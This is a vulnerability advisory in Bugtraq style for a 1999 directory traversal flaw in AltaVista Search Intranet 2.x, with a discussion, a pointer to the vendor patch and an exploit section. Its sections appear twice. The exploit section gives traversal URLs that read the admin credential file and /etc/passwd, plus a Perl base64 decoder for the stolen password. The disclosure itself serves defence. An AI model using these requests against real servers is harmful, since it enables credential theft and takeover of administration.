AltaVista Search Engine Directory Traversal Vulnerability
BID:896
Info
AltaVista Search Engine Directory Traversal Vulnerability
| Bugtraq ID: | 896 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | Yes |
| Published: | Dec 29 1999 12:00AM |
| Updated: | Dec 29 1999 12:00AM |
| Credit: | Posted to bugtraq on December 29, 1999 by Rudi Carell. |
| Vulnerable: |
AltaVista Search Intranet 2.3 A AltaVista Search Intranet 2.0 b |
| Not Vulnerable: | |
Discussion
AltaVista Search Engine Directory Traversal Vulnerability
The AltaVista Search engine sets up a webserver at port 9000 to listen for search queries. The main search function will accept a single '../' string in the query, providing access to all documents in the 'http' directory one level up. These documents contain various administrative information, including the password for the remote administration utility. The password is base-64 encoded, and can be easily restored to plaintext to give an attacker full remote administration abilities for the search engine. The webserver will accept multiple '../' strings if they are hex encoded, ie '%2e%2e%2f'.
The AltaVista Search engine sets up a webserver at port 9000 to listen for search queries. The main search function will accept a single '../' string in the query, providing access to all documents in the 'http' directory one level up. These documents contain various administrative information, including the password for the remote administration utility. The password is base-64 encoded, and can be easily restored to plaintext to give an attacker full remote administration abilities for the search engine. The webserver will accept multiple '../' strings if they are hex encoded, ie '%2e%2e%2f'.
Exploit / POC
AltaVista Search Engine Directory Traversal Vulnerability
http://target:9000/cgi-bin/query?mss=../logs/mgtstate
(to get the mgtstate file.)
#!/usr/bin/perl
use MIME::Base64;
print decode_base64("$ARGV[0]"), "\n";
(to unencode the username/password)
http://target:9000/cgi-bin/mgt
and enter the username/password to access the remote administration features
or
http://target:9000/cgi-bin/query?mss=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
to get the password file on a unix system
http://target:9000/cgi-bin/query?mss=../logs/mgtstate
(to get the mgtstate file.)
#!/usr/bin/perl
use MIME::Base64;
print decode_base64("$ARGV[0]"), "\n";
(to unencode the username/password)
http://target:9000/cgi-bin/mgt
and enter the username/password to access the remote administration features
or
http://target:9000/cgi-bin/query?mss=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
to get the password file on a unix system
Solution / Fix
AltaVista Search Engine Directory Traversal Vulnerability
Solution:
AltaVista has released a patch for this issue, available at:
http://doc.altavista.com/business_solutions/search_products/free_downloads/search_intranet.shtml
It is under the 'patches' heading, and is called:
AltaVista Search Intranet V2.3A Security Patch 12/99
Solution:
AltaVista has released a patch for this issue, available at:
http://doc.altavista.com/business_solutions/search_products/free_downloads/search_intranet.shtml
It is under the 'patches' heading, and is called:
AltaVista Search Intranet V2.3A Security Patch 12/99
References
AltaVista Search Engine Directory Traversal Vulnerability
References:
References: